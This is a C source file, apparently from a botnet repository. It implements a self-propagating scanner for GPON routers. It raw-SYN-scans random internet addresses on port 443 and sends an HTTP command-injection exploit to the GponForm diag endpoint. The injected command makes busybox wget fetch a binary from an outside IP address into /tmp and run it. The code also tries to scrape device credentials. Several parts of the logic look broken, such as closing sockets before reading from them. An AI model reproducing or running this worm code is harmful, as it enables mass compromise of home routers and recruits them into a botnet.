Path: blob/master/Botnets/Self Reps/GPON/gpon443.c
5038 views
#ifdef SELFREP1#define _GNU_SOURCE2#ifdef DEBUG3#include <stdio.h>4#endif5#include <unistd.h>6#include <stdlib.h>7#include <sys/socket.h>8#include <arpa/inet.h>9#include <sys/select.h>10#include <sys/types.h>11#include <time.h>12#include <fcntl.h>13#include <signal.h>14#include <errno.h>15#include <string.h>16#include <linux/ip.h>17#include <linux/tcp.h>1819#include "headers/includes.h"20#include "headers/gpon443.h"21#include "headers/table.h"22#include "headers/rand.h"23#include "headers/util.h"24#include "headers/checksum.h"2526int gpon443_scanner_pid = 0, gpon443_rsck = 0, gpon443_rsck_out = 0, gpon443_auth_table_len = 0;27char gpon443_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};28struct gpon443_scanner_auth *gpon443_auth_table = NULL;29struct gpon443_scanner_connection *conn_table;30uint16_t gpon443_gpon443_auth_table_max_weight = 0;31uint32_t gpon443_fake_time = 0;32int gpon443_ranges[] = {42,212,109,5,118,210,178,94,2,37,79};33int gpon443_recv_strip_null(int sock, void *buf, int len, int flags)34{35int ret = recv(sock, buf, len, flags);3637if(ret > 0)38{39int i = 0;4041for(i = 0; i < ret; i++)42{43if(((char *)buf)[i] == 0x00)44{45((char *)buf)[i] = 'A';46}47}48}4950return ret;51}5253void gpon443_scanner(void)54{55int i = 0;56uint16_t source_port;57struct iphdr *iph;58struct tcphdr *tcph;5960// Let parent continue on main thread61gpon443_scanner_pid = fork();62if(gpon443_scanner_pid > 0 || gpon443_scanner_pid == -1)63return;6465LOCAL_ADDR = util_local_addr();6667rand_init();68gpon443_fake_time = time(NULL);69conn_table = calloc(GPON443_SCANNER_MAX_CONNS, sizeof(struct gpon443_scanner_connection));70for(i = 0; i < GPON443_SCANNER_MAX_CONNS; i++)71{72conn_table[i].state = GPON443_SC_CLOSED;73conn_table[i].fd = -1;74conn_table[i].credential_index = 0;75}7677// Set up raw socket scanning and payload78if((gpon443_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)79{80#ifdef DEBUG81printf("[scanner] failed to initialize raw socket, cannot scan\n");82#endif83exit(0);84}85fcntl(gpon443_rsck, F_SETFL, O_NONBLOCK | fcntl(gpon443_rsck, F_GETFL, 0));86i = 1;87if(setsockopt(gpon443_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)88{89#ifdef DEBUG90printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");91#endif92close(gpon443_rsck);93exit(0);94}9596do97{98source_port = rand_next() & 0xffff;99}100while(ntohs(source_port) < 1024);101102iph = (struct iphdr *)gpon443_scanner_rawpkt;103tcph = (struct tcphdr *)(iph + 1);104105// Set up IPv4 header106iph->ihl = 5;107iph->version = 4;108iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));109iph->id = rand_next();110iph->ttl = 64;111iph->protocol = IPPROTO_TCP;112113// Set up TCP header114tcph->dest = htons(443);115tcph->source = source_port;116tcph->doff = 5;117tcph->window = rand_next() & 0xffff;118tcph->syn = TRUE;119120#ifdef DEBUG121printf("[scanner] scanner process initialized. scanning started.\n");122#endif123124// Main logic loop125while(TRUE)126{127fd_set fdset_rd, fdset_wr;128struct gpon443_scanner_connection *conn;129struct timeval tim;130int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;131132// Spew out SYN to try and get a response133if(gpon443_fake_time != last_spew)134{135last_spew = gpon443_fake_time;136137for(i = 0; i < GPON443_SCANNER_RAW_PPS; i++)138{139struct sockaddr_in paddr = {0};140struct iphdr *iph = (struct iphdr *)gpon443_scanner_rawpkt;141struct tcphdr *tcph = (struct tcphdr *)(iph + 1);142143iph->id = rand_next();144iph->saddr = LOCAL_ADDR;145iph->daddr = get_random_gpon443_ip();146iph->check = 0;147iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));148149tcph->dest = htons(443);150tcph->seq = iph->daddr;151tcph->check = 0;152tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));153154paddr.sin_family = AF_INET;155paddr.sin_addr.s_addr = iph->daddr;156paddr.sin_port = tcph->dest;157158sendto(gpon443_rsck, gpon443_scanner_rawpkt, sizeof(gpon443_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));159}160}161162// Read packets from raw socket to get SYN+ACKs163last_avail_conn = 0;164while(TRUE)165{166int n = 0;167char dgram[1514];168struct iphdr *iph = (struct iphdr *)dgram;169struct tcphdr *tcph = (struct tcphdr *)(iph + 1);170struct gpon443_scanner_connection *conn;171172errno = 0;173n = recvfrom(gpon443_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);174if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)175break;176177if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))178continue;179if(iph->daddr != LOCAL_ADDR)180continue;181if(iph->protocol != IPPROTO_TCP)182continue;183if(tcph->source != htons(443))184continue;185if(tcph->dest != source_port)186continue;187if(!tcph->syn)188continue;189if(!tcph->ack)190continue;191if(tcph->rst)192continue;193if(tcph->fin)194continue;195if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)196continue;197198conn = NULL;199for(n = last_avail_conn; n < GPON443_SCANNER_MAX_CONNS; n++)200{201if(conn_table[n].state == GPON443_SC_CLOSED)202{203conn = &conn_table[n];204last_avail_conn = n;205break;206}207}208209// If there were no slots, then no point reading any more210if(conn == NULL)211break;212213conn->dst_addr = iph->saddr;214conn->dst_port = tcph->source;215gpon443_setup_connection(conn);216}217218FD_ZERO(&fdset_rd);219FD_ZERO(&fdset_wr);220221for(i = 0; i < GPON443_SCANNER_MAX_CONNS; i++)222{223int timeout = 5;224225conn = &conn_table[i];226//timeout = (conn->state > GPON443_SC_CONNECTING ? 30 : 5);227228if(conn->state != GPON443_SC_CLOSED && (gpon443_fake_time - conn->last_recv) > timeout)229{230#ifdef DEBUG231printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);232#endif233234close(conn->fd);235conn->fd = -1;236conn->state = GPON443_SC_CLOSED;237free(conn->credentials);238conn->credential_index = 0;239util_zero(conn->rdbuf, sizeof(conn->rdbuf));240241continue;242}243244if(conn->state == GPON443_SC_CONNECTING || conn->state == GPON443_SC_EXPLOIT_STAGE2 || conn->state == GPON443_SC_EXPLOIT_STAGE3)245{246FD_SET(conn->fd, &fdset_wr);247if(conn->fd > mfd_wr)248mfd_wr = conn->fd;249}250else if(conn->state != GPON443_SC_CLOSED)251{252FD_SET(conn->fd, &fdset_rd);253if(conn->fd > mfd_rd)254mfd_rd = conn->fd;255}256}257258tim.tv_usec = 0;259tim.tv_sec = 3;260nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);261gpon443_fake_time = time(NULL);262263for(i = 0; i < GPON443_SCANNER_MAX_CONNS; i++)264{265conn = &conn_table[i];266267if(conn->fd == -1)268continue;269270if(FD_ISSET(conn->fd, &fdset_wr))271{272int err = 0, ret = 0;273socklen_t err_len = sizeof(err);274275ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);276if(err == 0 && ret == 0)277{278279if(conn->state == GPON443_SC_EXPLOIT_STAGE2)280{281#ifdef DEBUG282printf("[scanner] FD%d request sent to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);283#endif284285// build stage 2 payload286util_strcpy(conn->payload_buf, "POST /GponForm/diag_Form?style/ HTTP/1.1\r\nUser-Agent: r00ts3c-owned-you\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://199.38.245.220/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0");287288// actually send the payload289send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);290291// clear the payload buffer292util_zero(conn->payload_buf, sizeof(conn->payload_buf));293294// clear the socket buffer295util_zero(conn->rdbuf, sizeof(conn->rdbuf));296297conn->state = GPON443_SC_CLOSED;298close(conn->fd);299conn->fd = -1;300301continue;302}303else if(conn->state == GPON443_SC_EXPLOIT_STAGE3)304{305conn->state = GPON443_SC_CLOSED;306307continue;308}309else310{311conn->credentials = malloc(256);312conn->state = GPON443_SC_EXPLOIT_STAGE2;313}314}315else316{317#ifdef DEBUG318printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);319#endif320321close(conn->fd);322conn->fd = -1;323conn->state = GPON443_SC_CLOSED;324325continue;326}327}328329if(FD_ISSET(conn->fd, &fdset_rd))330{331while(TRUE)332{333int ret = 0;334335if(conn->state == GPON443_SC_CLOSED)336break;337close(conn->fd);338339if(conn->rdbuf_pos == GPON443_SCANNER_RDBUF_SIZE)340{341memmove(conn->rdbuf, conn->rdbuf + GPON443_SCANNER_HACK_DRAIN, GPON443_SCANNER_RDBUF_SIZE - GPON443_SCANNER_HACK_DRAIN);342conn->rdbuf_pos -= GPON443_SCANNER_HACK_DRAIN;343}344345errno = 0;346ret = gpon443_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, GPON443_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);347if(ret == 0)348{349#ifdef DEBUG350printf("[scanner] FD%d connection gracefully closed (stage %d)\n", conn->fd, conn->state);351#endif352errno = ECONNRESET;353ret = -1;354}355if(ret == -1)356{357if(errno != EAGAIN && errno != EWOULDBLOCK)358{359if(conn->state == GPON443_SC_EXPLOIT_STAGE2)360{361#ifdef DEBUG362printf("[scanner] FD%d resetting connection preparing to continue with stage 2 of the exploit\n", conn->fd);363#endif364close(conn->fd);365gpon443_setup_connection(conn);366continue;367}368369close(conn->fd);370conn->fd = -1;371conn->state = GPON443_SC_CLOSED;372free(conn->credentials);373conn->credential_index = 0;374util_zero(conn->rdbuf, sizeof(conn->rdbuf));375}376break;377}378379conn->rdbuf_pos += ret;380conn->last_recv = gpon443_fake_time;381382int len = util_strlen(conn->rdbuf);383conn->rdbuf[len] = 0;384385if(conn->state == GPON443_SC_GET_CREDENTIALS)386{387char *out = strtok(conn->rdbuf, " ");388389while(out != NULL)390{391if(strstr(out, ""))392{393#ifdef DEBUG394printf("[scanner] FD%d parsing credentials...\n", conn->fd);395#endif396397memmove(out, out + 11, strlen(out));398399int i = 0;400401for(i = 0; i < strlen(out); i++)402{403if(out[i] == ';' || out[i] == '"' || out[i] == ' ')404out[i] = 0;405}406407conn->credentials[conn->credential_index] = strdup(out);408conn->credential_index++;409410}411412out = strtok(NULL, " ");413}414}415416if(conn->credentials[0] == NULL && conn->credentials[1] == NULL)417{418#ifdef DEBUG419printf("[scanner] FD%d failed to retrieve credentials\n", conn->fd);420#endif421close(conn->fd);422conn->fd = -1;423conn->state = GPON443_SC_CLOSED;424free(conn->credentials);425conn->credential_index = 0;426util_zero(conn->rdbuf, sizeof(conn->rdbuf));427}428else429{430#ifdef DEBUG431printf("[scanner] FD%d retrieved user: %s, pass: %s changing exploit stages\n", conn->fd, conn->credentials[0], conn->credentials[1]);432#endif433434close(conn->fd);435conn->fd = -1;436conn->state = GPON443_SC_EXPLOIT_STAGE2;437conn->credential_index = 0;438util_zero(conn->rdbuf, sizeof(conn->rdbuf));439}440}441}442}443}444}445446void gpon443_kill(void)447{448kill(gpon443_scanner_pid, 9);449}450451static void gpon443_setup_connection(struct gpon443_scanner_connection *conn)452{453struct sockaddr_in addr = {0};454455if(conn->fd != -1)456close(conn->fd);457458if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)459{460#ifdef DEBUG461printf("[scanner] failed to call socket()\n");462#endif463return;464}465466conn->rdbuf_pos = 0;467util_zero(conn->rdbuf, sizeof(conn->rdbuf));468469fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));470471addr.sin_family = AF_INET;472addr.sin_addr.s_addr = conn->dst_addr;473addr.sin_port = conn->dst_port;474475conn->last_recv = gpon443_fake_time;476477if(conn->state == GPON443_SC_EXPLOIT_STAGE2 || conn->state == GPON443_SC_EXPLOIT_STAGE3)478{479}480else481{482conn->state = GPON443_SC_CONNECTING;483}484485connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));486}487488static ipv4_t get_random_gpon443_ip(void)489{490uint32_t tmp;491uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;492493do494{495int gpon443_scan = rand() % (sizeof(gpon443_ranges)/sizeof(char *));496tmp = rand_next();497498o1 = gpon443_ranges[gpon443_scan];499o2 = (tmp >> 8) & 0xff;500o3 = (tmp >> 16) & 0xff;501o4 = (tmp >> 24) & 0xff;502}503while(o1 == 127 || o1 == 0);504505return INET_ADDR(o1,o2,o3,o4);506}507508#endif509510511